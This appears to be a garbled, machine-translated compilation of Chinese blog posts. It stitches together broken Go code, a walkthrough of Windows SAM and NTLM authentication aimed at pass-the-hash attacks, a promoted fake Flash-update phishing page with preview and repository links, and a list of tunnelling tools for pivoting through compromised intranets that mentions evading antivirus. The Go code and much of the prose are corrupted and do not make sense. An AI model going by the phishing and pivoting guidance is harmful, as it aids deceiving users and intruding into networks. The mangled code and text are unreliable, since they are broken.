12345678910111213141516171819202122232425262728package mainimport 'fmt'var num int=10var numx2, numx3 intfunc main() { numx2, numx3=getX2AndX3(num) PrintValues() //Output: num=10, 2x num=20, 3x num=30 numx2,numx3=getx2andx3_2(num)printValues()//输出:num=10,2x num=20,3x num=30} func printValues(){fmt.printf('num=%=%d,2x num=%d,2x num=%d,3x num=%d d \ n',num=%d \ n',numx got func func func func func func func inct func func func funct func func inct func functx Intup(func) int){return 2 * input,3 * input} func getx2andx3_2(input int)(x2 int,x3 int){x2=2 * input x3=3 * input //return x2,return x2,x3 return} :01

休息并继续

whitespace字符用于匹配某些不需要的值并匹配某些不良的值并使其canduct缩。 TrixValues是一个具有三个不需要任何参数的返回值的函数。在下面的示例中,我们将第一个和第三个返回值分配给I1和F1。第二个返回值分配给空白符号_,然后自动丢弃。

123456789111121314PACKAGE MAINIMPORT'fmt'func Main

Windows身份验证机制的分析:本地,工作组,域环境。

本地身份验证(用户登录)

概念

在本地登录Windows时,操作系统将使用用户输入的密码作为凭据来验证系统中的密码。操作系统中的密码存储在

当1%SystemRoot%\ System32 \ Config \ Sam登录到系统时,系统将在SAM文件中自动读取“密码”,并将其与我们输入的“密码”进行比较。如果相同的话,它证明了身份验证成功!

该SAM文件保留了计算机本地所有用户的凭据信息,可以将其理解为数据库。

※注意:Windows本身并不能保存纯文本密码,仅保存密码哈希。

ntlm哈希的产生

NTLM Hash的前身是LM哈希。由于安全性缺陷,它已被消除。无需了解太多。只知道有这个东西。

假设我的密码是管理员,操作系统将把管理员转换为十六进制。在Unicode转换后,它将将MD4加密算法称为加密。该加密结果的十六进制系统是NTLM哈希。

123admin - hex(hex encoding)=61646d696e61646d696e - Unicode=610064006d0069006e00610064006d0069006e00 - MD4=209c6174da490caeb422f3fa5a7ae634

本地认证过程

123456winlogon.exe-接收用户输入-lsass.exe-(身份验证)1。在用户注销后,重新启动并锁定屏幕2。操作系统将使Winlogon显示登录界面,即输入框3。输入输入后,将密码置于PLASIT上,该过程将其存储在该流程中,将其存储在此过程中,该过程将其存储在此过程中。哈希,并比较SAM数据库Windows登录进程(即Winlogon.exe)的身份验证,该过程是Windows NT用户登录程序,用于管理用户登录和注销。

LSAS用于Microsoft Windows系统的安全机制。它用于本地安全性和登录策略。

net NTLM)

由于DC(域控制器)的参与过程,工作组环境和域环境中的NET NTLM身份验证过程略有不同,但这不会影响我们的哈希交付攻击。让我们在这里分开谈论它。

NTLM协议概念

此协议仅支持Windows NTLM作为网络身份验证协议,全名是:NT LAN Manager,它是基于挑战/响应身份验证机制的身份验证模式。

NTLM网络身份验证协议是一种使用NTLM哈希作为身份验证的基本证书的协议。消息的传输取决于使用NTLM的上层协议,例如SMB,LDAP,HTTP等。

工作组

NTLM协议身份验证过程

谈判:它主要用于确认双方之间的协议版本。 NTLM中有两个版本的V1和V2。具体的区别在于,加密方法是不同的,因此通常没有必要。

询问:有效的是挑战/响应身份验证机制的范围,也是身份验证机制的核心。

验证:验证主要验证询问完成后的结果,这是身份验证的最后一步。

谈判

img

问题

1. client将用户信息(用户名)请求发送到服务器。

2。接收到用户信息后,服务器确定是否存在本地帐户列表(如果不存在,则返回身份验证失败)。如果存在,它将生成一个16位随机数(挑战),然后使用与登录用户名相对应的NTLM哈希加密挑战(16位随机字符),并生成挑战1(net-ntlm hash)以存储在内存中。同时,向客户发送挑战(16位随机字符)。

3。在客户端收到服务器发送的挑战之后,请使用要登录到帐户的NTLM Hash加密挑战以生成响应(Net-NTLM Hash),然后将响应发送到服务器。

净NTLM哈希在此处介绍:NTLM哈希加密挑战的结果称为网络协议中的NET NTLM HASH(不能直接用于执行Hash Pass攻击,但是可以通过蛮力破解获得宣传密码)。

详细简介:https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x03-net-net-ntlm-hash

服务器收到客户端发送的响应(net-ntlm hash)之后,它与以前存储在内存中存储的Challenge1(Net-NTLM Hash)进行比较。如果是平等的,则身份验证将通过。

现在,让我们看一下身份验证过程。清晰吗?

作者倾旋

NTLM协议身份验证过程

域NTLM身份验证过程下的域环境中的过程略有不同,因为有DC(域控制器)参与的工作组。

作者daiker

①用户将登录到客户端计算机中。

②客户端将协商消息发送到服务器,该消息主要包含客户端支持并由服务器请求的功能列表。

③服务器响应挑战消息(挑战),其中包含服务器支持和同意的功能列表。但最重要的是,它包含服务器产生的挑战。

④客户通过身份验证消息(响应)回答了这个问题。用户在步骤③中收到挑战后,他使用用户哈希和挑战来执行加密操作以获得响应,并将响应,用户名和挑战发送给服务器。消息中的响应(net-ntlm hash)是最关键的部分,因为它们向服务器证明了客户端用户已经知道帐户密码。

⑤服务器获取身份验证消息(响应)后,使用挑战和用户哈希对其进行加密以获取响应2并将其与步骤3发送的响应进行比较。

目前,如果已经过身份验证的用户哈希存储在域控件中,则在本地没有身份验证的用户哈希,并且无法计算响应2,因此验证步骤⑤无法完成。因此,服务器将通过Netlogon协议联系域控制,建立安全的频道,然后将所有协商消息,挑战消息和身份验证消息(响应)发送到域控制(此过程也称为通过身份验证身份验证过程)。

⑥域控制使用挑战和身份验证的用户的哈希对响应2进行加密,并将其与类型3的响应进行比较,以确定其是否一致。

⑦完成认证过程。

参考文章

https://Daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x02-ntlm-shen-fen-fen-yan-zheng

https://payloads.online/archivers/2018-11-30/1/

https://ares-x.com/2020/03/16/%E5%9f%9f%9F%E6%B8%97%E9%E9%80%80%8F%E5%AD%AD%A6%E4%B9%A 0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE%A4%E8%AF%AF%81%E6%9C%BA%E5%E5%88%B6/

同一句子:闪光永远是上帝〜

我一直想用更精致的界面编写闪光钓鱼,但是实现各种效果有点麻烦。我碰巧找到了图层的令人敬畏的子弹层组件。一开始,我直接使用了图片并获得了几行代码,但它仍然不完美。后来,我将其发布到T00L,每个人都集思广益,并提出了一些非常好的建议。经过几次修改后,在下面找到了最终版本。

在线预览:http://Flash-pop.se7ensec.cn/

有人说闪光不容易使用。我觉得分析对方做什么并进行一些自动化和定制效果很好是一个好主意。在线费率实际上很高。

项目地址:https://github.com/r00tse7en/flash-pop

建立Intranet传输通道。

判断它是否不在互联网上

1234Ping : ICMPCURL : HTTP NSLOOKUP : DNS NS NS NS NS NS端口: TCP Intranet渗透网络环境很复杂,并且有许多工具。有时您必须考虑自由杀人。如果您了解该原则,请找到适合您的原则。本文不会写太多关于使用工具的文章。有时间时使用命令〜

正向代理

概念

向前代理是指位于客户端和原始服务器之间的服务器。为了从原始服务器获取内容,客户端将请求发送到代理并指定目标(原始服务器),然后代理将请求转发到原始服务器并将获得的内容返回给客户端,以便客户端可以使用远期代理。

用法方案

注意:不需要公共网络的VPS1。目标主机具有公共网络IP。

常见工具:

https://github.com/eddieivan01/iox

http://Rootkiter.com/earthworm/

2。目标主机具有Web服务,并且不连接到外部网络,并支持动态脚本PHP,ASPX和JSP。

常见工具:

https://github.com/l-codes/neo-regeorg

https://github.com/funnywolf/pystinger

https://github.com/blackarrowsec/pivotnacci

反向代理

概念

反向代理服务器位于用户和目标服务器之间,但是对于用户,反向代理服务器等于目标服务器,也就是说,用户可以通过直接访问反向代理服务器来获得目标服务器的资源。

用法方案

注意:公共网络VPS目标主机需要连接到外部网络。

常见工具:

https://github.com/vzex/dog-tunnel

https://github.com/eddieivan01/iox

https://github.com/fatedier/frp/

https://github.com/ehang-io/nps

http://Rootkiter.com/earthworm/

用于隔离网络的多级代理

概念

在Intranet穿透过程中,将遇到一个孤立的网络,这在逻辑上更孤立。突破方法是获得可访问的弹簧板机器(多个网卡,操作和维护机等)的权限,并建立第一级二级代理和第三级代理.

注意:适应更改的常见工具:

http://Rootkiter.com/earthworm/

https://github.com/ginuerzh/gost

https://github.com/dliv3/venom

Windows [NetSh]和Linux [SSH]自己的程序和ICMMP协议的流量转发也没有一些端口转发,但通常不使用它们,因此我现在会写很多。